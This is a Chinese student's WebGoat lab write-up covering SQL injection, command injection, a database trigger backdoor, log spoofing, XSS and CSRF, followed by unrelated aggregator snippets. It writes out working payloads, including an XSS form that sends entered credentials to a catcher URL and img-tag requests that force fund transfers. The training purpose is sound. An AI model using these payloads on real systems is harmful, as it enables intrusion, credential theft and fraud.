20145227鄢曼君《網絡對抗》Web安全基礎實踐

20145227鄢曼君《網絡對抗》Web安全基礎實踐

實驗后回答問題

1.SQL注入攻擊原理,如何防御?

  • SQL注入攻擊指的是通過構建特殊的輸入作為參數傳入Web應用程序,而這些輸入大都是SQL語法里的一些組合,通過執行SQL語句進而執行攻擊者所要的操作,其主要原因是程序沒有細致地過濾用戶輸入的數據,致使非法數據侵入系統。
  • 根據相關技術原理,SQL注入可以分為平臺層注入和代碼層注入。前者由不安全的數據庫配置或數據庫平臺的漏洞所致;后者主要是由于程序員對輸入未進行細致地過濾,從而執行了非法的數據查詢。
  • 防御:對輸入的數據進行過濾,過濾掉敏感字符。加密數據庫。

2.XSS攻擊的原理,如何防御?

  • XSS是一種經常出現在web應用中的計算機安全漏洞,它允許惡意web用戶將代碼植入到提供給其它用戶使用的頁面中。攻擊者利用網站漏洞,輸入可以顯示在頁面上的、對其他用戶造成影響的HTML代碼;由于受害者瀏覽器對目標服務器的信任,當其訪問目標服務器上被注入惡意腳本的頁面后,這段惡意腳本可以順利執行,實現獲取用戶cookie并可以利用用戶身份進行非法操作的目的。
  • 防御:檢查用戶輸入的內容中是否有非法內容,如尖括號、引號等,嚴格控制輸出。還有就是在表單提交或者url參數傳遞前,對需要的參數進行過濾。

3.CSRF攻擊原理,如何防御?

  • CSRF全名是Cross-site request forgery,是一種對網站的惡意利用。CSRF攻擊的主要目的是讓用戶在不知情的情況下攻擊自己已登錄的一個系統,通過偽裝來自受信任用戶的請求來利用受信任的網站。它危害性甚至比XSS更大。比如實驗中的轉賬之類的。
  • 防御:用戶在瀏覽其它站點前登出站點;在瀏覽器會話結束后清理瀏覽器的cookie;盡量不要在頁面的鏈接中暴露用戶隱私信息;避免全站通用的cookie,嚴格設置cookie的域。

實驗感想

  • 這次實驗確實內容很多,但是都還挺有意思的,而且我也學到了一些東西。這次的實驗感覺與我們生活息息相關,其實我們之前學的很多課程都有涉及到web安全,這一次的Web安全基礎實踐又讓我了解到了更多的關于這方面的攻擊手段等,相信以后登錄網頁或者點擊鏈接之類的我會更加謹慎。

實踐過程

  • 開啟webgoat,打開WebGoat:java -jar webgoat-container-7.0.1-war-exec.jar

887843-20170511164407441-850703245.png

887843-20170511164416066-1496467825.png

  • 然后在瀏覽器輸入localhost:8080/WebGoat,進入webgoat。

SQL練習

String SQL Injection(SQL字符串注入)

  • 這個題的題目大意是:這個表單允許使用者查詢他們的信用卡號,使用SQL注入讓所有的信用卡號都看得見。

887843-20170511164757472-789609493.png

  • 我們構造一個永真式“1”,那么不管前面的WHERE是否成立都能執行,所以構造語句'or 1='1,成功得到了全部的信用卡號。

887843-20170511164942176-952423034.png

Numeric SQL Injection(數字型SQL注入)

  • 這個題大概意思是這個表單允許使用者看到天氣數據,利用SQL注入使得可以看見所有數據。
  • 由于沒辦法直接輸入,無法在前端進行SQL注入,我們可以從捕獲包中修改。
  • 首先啟動BurpSuite。然后設置代理“Proxy”的“Options”選項,默認是8080端口被占用時需要添加一個新的端口8888,點擊add;添加后勾選。

887843-20170511165415613-1811682492.png

  • 然后設置瀏覽器的代理:打開瀏覽器右側的“更多”選項卡,preference-advanced-settings
  • 這相當于將burpsuite當成中間服務器,每個數據包都流過它。
  • 設置好之后回到題目,任意選擇一項,點擊GO,然后回到burpsuite。發現多了捕獲的包。然后右鍵send to repeater ,我們修改station值從為101 為 101 or 1=1,點擊GO,可以看到右邊response包中的SQL語句為SELECT * FROM weather_data WHERE station = 101 or 1=1

887843-20170511165734207-562688787.png

  • 回到Proxy中點擊Intercept is on對剩下的包不作處理,回到火狐瀏覽器發現已經成功了!

887843-20170511170201769-1431472166.png

Command Injection(命令注入)

  • 題目要求能夠在目標主機上執行系統命令,我發現可以通過火狐瀏覽器下的一個擴展Firebug對源代碼進行修改,例如在BackDoors.help旁邊加上& netstat -an & ipconfig

887843-20170511170541129-1200109568.png

  • 選中修改后的值再點view,可以看到命令被執行,出現系統網絡連接情況:

887843-20170511170633769-1966875293.png

Database Backdoors

  • 輸入注入語句:101; update employee set salary=9000,成功把該用戶的工資漲到了9000。這種給別人漲工資的感覺好棒啊~

887843-20170511175739847-491148228.png

  • 接下來使用語句101;CREATE TRIGGER ymjBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email='20145227@qq.com' WHERE userid = NEW.userid 創建一個后門,把表中所有的郵箱和用戶ID都設為我的。所有人的工資都郵到我這里吧,哈哈哈

887843-20170511225847535-599421773.jpg

Blind Numeric SQL Injection

  • 題目要求是得到一個存放在pins表中值pin的內容,行號cc_number=1111222233334444,是一個int型的數據。
  • 然后使用BurpSuite進行攔截,攔截后action--send to intruder進行暴力破解,使用sniper模式,選擇10000進行數字爆破(選擇前先clear將默認的爆破點清除),從1到10000,步長為1。可以發現2364的報文長度明顯和其他不一樣,那這個值就應該就是2364:

887843-20170511181804191-1692400403.png

Log Spoofing(日志欺騙)

  • 這道題大概意思是說,我們輸入的用戶名會被追加到日志文件中。所以我們可以使用障眼法來使用戶名為“admin”的用戶在日志中顯示“成功登錄”,例如在User Name文本框中輸入ymj%0d%0aLogin Succeeded for username: admin,其中%0d是回車,%0a是換行符:

887843-20170511171104832-1975478821.png

  • 攻擊成功:

887843-20170511171131176-1104297980.png

LAB:SQL Injection

Stage 1:String SQL Injection

  • 題目要求:使用字符串SQL注入在沒有正確密碼的情況下登錄賬號boss。
  • 以用戶Neville登錄,在密碼欄中輸入' or 1=1 --進行SQL注入,但是登錄失敗。
  • 查看了一下網頁源碼,發現輸入框對輸入的字符長度進行了限制,最多只允許輸入8個字符:

887843-20170511173141613-1476957823.png

  • 于是我對字符長度進行了修改,然后重新登錄,登錄成功!

887843-20170511173237660-2026518734.png

Stage 3:Numeric SQL Injection

  • 題目要求:通過注入語句,瀏覽到原本無法瀏覽的信息。通過一個普通員工的賬戶larry,瀏覽其BOSS的賬戶信息。
  • 首先我們用上一題的辦法登錄Larry的賬號!在密碼框里輸入' or 1=1 --,登錄后發現我們只能看見Larry一個人的工資信息.

887843-20170511174717113-1391510370.png

  • 瀏覽員工信息的按鈕是ViewProfile.在網頁代碼中分析一下這個按鈕,發現這個地方是以員工ID作為索引傳遞參數的,我們要達到通過Larry來瀏覽老板賬戶信息的目的,把其中的value值改為101 or 1=1 order by salary desc --,這樣老板的信息就會被排到第一個:

887843-20170511174847551-831669747.png

  • 然后成功查看到老板的信息!

887843-20170511174935379-521945832.png

XSS攻擊

Phishing with XSS

  • 這個題目我們要在搜索框中輸入XSS攻擊代碼:
</form><script>
function hack(){ 
XSSImage=new Image;
XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
} </script>
<form name="phish">
<br>
<br>
<HR><H2>This feature requires account login:</H2>
<br><br>Enter Username:<br><input type="text" name="user"><br>Enter Password:<br><input type="password" name = "pass">
<br><input type="submit" name="login" value="login" onclick="hack()">
</form>
<br>
<br>
<HR>
  • 在搜索框中輸入攻擊代碼后點擊搜索,會看到一個要求輸入用戶名密碼的表單,然后輸入用戶名密碼,點擊登錄,WebGoat會將你輸入的信息捕獲并反饋給你:

887843-20170511191812722-657732859.png

  • 攻擊成功,結果如下圖:

887843-20170511191913191-125896300.png

Stored XSS Attacks

  • 題目要求:要創建非法的消息內容,可以導致其他用戶訪問時載入非預期的頁面或內容。
  • 直接在title里隨便輸入,然后在message中輸入一串代碼,比如:<script>alert("hhh5227lll!");</script> 提交后,再次點擊剛剛創建的帖子,成功彈出窗口,說明攻擊成功!

887843-20170511192152363-1024618550.png

Reflected XSS Attacks

  • 當我們輸入錯誤的用戶信息后,服務器校驗輸入有誤,會返回錯誤頁面并將錯誤內容展示給我們看:

887843-20170511192320113-1088217941.png

  • 如果我們將帶有攻擊性的URL作為輸入源,比如<script>alert("hhh20145227ymj");</script>,就會彈出對話框:

887843-20170511192458847-2083702971.png

  • 攻擊成功!

887843-20170511192631769-2098055102.png

  • 這個看上去和上面很相似,但是原理不同,上面的是存儲式的,這個是通過寫在url里面達到的效果,里面的腳本也可以改寫成其他惡意的內容。

CSRF攻擊

Cross Site Request Forgery

  • 題目要求:需要寫一個URL誘使其他用戶點擊,從而觸發CSRF攻擊,我們可以以圖片的的形式將URL放進Message框,這時的URL對其他用戶是不可見的,用戶一旦點擊圖片,就會觸發一個CSRF事件。
  • 查看自己電腦的Screen和menu的值:

887843-20170511193036238-923767324.png

  • 然后在message里面輸入<img src="http://localhost:8080/WebGoat/attack?Screen=291&menu=900&transferFunds=轉賬金額"/>就會發出一個轉錢的請求,盜取錢財。
  • 提交后,會在消息列表中看到一個新的消息,點擊該消息,當前頁面就會下載這個消息并顯示出來,轉走用戶的錢,達到CSRF攻擊的目的。

887843-20170511193401035-1588890087.png

CSRF Prompt By-Pass

  • 這個就是利用CSRF進行冒名操作轉賬,不過這次包括了兩個請求,一是轉賬請求,二是確認轉賬成功請求,即需要額外傳遞兩個參數給服務器(transferFunds=4000,transferFunds=CONFIRM)。直接在message中寫入攻擊代碼,然后提交:

887843-20170511193734144-1401466412.png

  • 點擊了CONFIRM按鈕,成功實現:

887843-20170511193826847-64906376.png

轉載于:https://www.cnblogs.com/m3182218/p/6842135.html

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/news/254630.shtml
繁體地址,請注明出處:http://hk.pswp.cn/news/254630.shtml
英文地址,請注明出處:http://en.pswp.cn/news/254630.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

[轉]Xvid參數詳解

眾所周知&#xff0c;Mencoder以其極高的壓縮速率和不錯的畫質贏得了很多朋友的認同&#xff01; 原來用Mencoder壓縮Xvid的AVI都是使用Xvid編碼器的默認設置&#xff0c;現在我來給大家沖沖電&#xff0c;講解一下怎樣使用Mencoder命令行高級參數制作Xvid編碼格式AVI影片。經…

常用的Meta標簽寫法和作用

頁面關鍵詞  <meta name"keywords" content"your tags" />  頁面描述  <meta name"description" content"150 words" />  搜索引擎索引方式  <meta name"robots" content"index,follow"…

從庫存管理系統,體驗活字格強大的移動端應用開發能力

活字格&#xff0c;開放易用的 Web 應用生成平臺 隨著移動互聯網時代的來臨&#xff0c;企業在移動端管理和運營的需求急劇增加&#xff0c;這就要求企業應用系統要能做到工作流程自動規范、移動端操作流暢便捷、協同辦公快速高效、業務流程高度自定制、需求變更隨時修改等。 活…

Xvid編碼器流程(基于xvid1.1.0)

調用Xvid編碼器流程(基于xvid1.1.0) 編者按&#xff1a;本文為Xvid最新源代碼V1.1.0版本的學習筆記&#xff0c;內 部資料&#xff0c;僅供學習參考&#xff0c;未經授權&#xff0c;不得轉載 xvid有兩種編碼方式&#xff1a;single pass和twopass single pass模式編碼簡…

置換矩陣

來源&#xff1a;百度百科 定義&#xff1a; 設P 是一個 mn 的 (0,1) 矩陣&#xff0c;如 m≤n且 PxPtE&#xff0c;則稱 P為一個 mn的置換矩陣。其中Pt是P的轉置矩陣&#xff0c;E是m階單位方陣。 判定條件&#xff1a; 定理 1 當 m≦n時&#xff0c;一個 mn 的(0,1) 矩陣P為置…

halcon Matching-3D 3D匹配,持續更新

目錄Matching-3D 3D匹配Deformable Surface-Based基于可變形表面1. add_deformable_surface_model_reference_point2.add_deformable_surface_model_sample3. clear_deformable_surface_matching_result4.clear_deformable_surface_model5. create_deformable_surface_model6. …

CVE-2009-3459

Adobe Acrobat和Reader都是美國Adobe公司開發的非常流行的PDF文件閱讀器。 Adobe Reader和Acrobat 7.1.4之前的7.x版本&#xff0c;8.1.7之前的8.x版本以及9.2之前的9.x版本中存在基于堆的緩沖區溢出漏洞。遠程攻擊者可借助觸發內存破壞的特制PDF文件執行任意代碼。 轉…

leetcode-665-Non-decreasing Array

題目描述&#xff1a; Given an array with n integers, your task is to check if it could become non-decreasing by modifying at most 1 element. We define an array is non-decreasing if array[i] < array[i 1] holds for every i (1 < i < n). Example 1: I…

halcon 3D Object Model 三維物體模型算子,持續更新

目錄3D Object Model 三維物體模型Creation創建1.clear_object_model_3d2.copy_object_model_3d3. deserialize_object_model_3d4. gen_box_object_model_3d5. gen_cylinder_object_model_3d6. gen_empty_object_model_3d7. gen_object_model_3d_from_points8. gen_plane_objec…

linux下kafka與zookeeper集群部署

*********************************配置主機名&#xff0c;通過主機名連接機器********************************* 比如說&#xff0c;已經有了三臺主機 1&#xff0c;在linux上設置hostname&#xff0c;通過hostname來訪問linux虛擬機 1.1. 修改hosts文件 vim /etc/hosts#/etc…

調用Xvid編碼器流程(基于xvid1.1.0)

xvid有兩種編碼方式&#xff1a;single pass和twopass single pass模式編碼簡單&#xff0c;速度也快&#xff0c;但最終效果不如twopass。 twopass就是視頻壓制需要經過兩次編碼&#xff0c;分別為twopass&#xff0d;1st pass&#xff08;簡稱1pass&#xff09;和twopass…

關于box-shadow屬性的一點心得

一般我用到box-shadow都是用于諸如按鈕&#xff0c;文本塊&#xff0c;某些圖標&#xff0c;css類似為: box-shadow: 1px 1px 5px rgba(0, 0, 0, .8);這樣&#xff0c;樣式看上去會更加柔和&#xff0c;或者增加了立體感。 我個人的理解上&#xff0c;box-shadow的本質就是本體…

Laravel核心解讀--控制器

控制器 控制器能夠將相關的請求處理邏輯組成一個單獨的類&#xff0c; 通過前面的路由和中間件兩個章節我們多次強調Laravel應用的請求在進入應用后首現會通過Http Kernel里定義的基本中間件 protected $middleware [\Illuminate\Foundation\Http\Middleware\CheckForMaintena…

C#枚舉、值、字符串的相互轉換

目錄枚舉的定義使用方式優點代碼示例枚舉的定義 枚舉是整數類型&#xff0c;用戶自定義的整數類型的一個集合。 使用方式 public enum A {a0,b1,c2 }注意&#xff1a;枚舉定義的不同變量之間要用“&#xff0c;”分割&#xff0c;結尾不需要加上“&#xff0c;” 優點 可以…

制作404頁面的重要性

在網站的運行過程中會面臨很多問題&#xff0c;當用戶搜索頁面時&#xff0c;會提示服務器出錯&#xff0c;請求的頁面不存在&#xff0c;程序配置錯誤等問題。用戶請求瀏覽網頁碰到這些的情況時&#xff0c;會自動跳出系統默認的錯誤提示&#xff0c;對用戶體驗造成不好的感觸…

明晰C++內存分配的五種方法的區別

在C中&#xff0c;內存分成5個區&#xff0c;他們分別是堆、棧、自由存儲區、全局/靜態存儲區和常量存儲區。 棧&#xff0c;就是那些由編譯器在需要的時候分配&#xff0c;在不需要的時候自動清楚的變量的存儲區。里面的變量通常是局部變量、函數參數等。 堆&#xff0c;就是那…

【BZOJ-4631】踩氣球 線段樹 + STL

4631: 踩氣球 Time Limit: 10 Sec Memory Limit: 256 MBSubmit: 224 Solved: 114[Submit][Status][Discuss]Description 六一兒童節到了&#xff0c; SHUXK 被迫陪著M個熊孩子玩一個無聊的游戲&#xff1a;有N個盒子從左到右排成一排&#xff0c;第i個盒子里裝著Ai個氣球。SH…

3D Reconstruction三維重建halcon算子,持續更新

目錄3D Reconstruction三維重建Binocular Stereo雙目立體binocular_disparitybinocular_disparity_mgbinocular_disparity_msbinocular_distancebinocular_distance_mgbinocular_distance_msdisparity_image_to_xyzdisparity_to_distancedisparity_to_point_3ddistance_to_disp…

遺傳算法初級

遺傳算法是一種基于仿生學的計算機算法&#xff0c;通過模擬自然進化和優勝劣汰法則來搜索問題的最優解(我會說這其實就是稍微改良了一下的暴搜&#xff1f;) 它是由美國的J.Holland于1975年提出來的玄學概率學混合暴力搜索方法&#xff0c;廣泛適用于尋找算法優解、機器學習、…

C++ vector容器類型

vector類為內置數組提供了一種替代表示&#xff0c;與string類一樣 vector 類是隨標準 C引入的標準庫的一部分 &#xff0c;為了使用vector 我們必須包含相關的頭文件 &#xff1a;#include <vector> 使用vector有兩種不同的形式&#xff0c;即所謂的數組習慣和 STL習慣…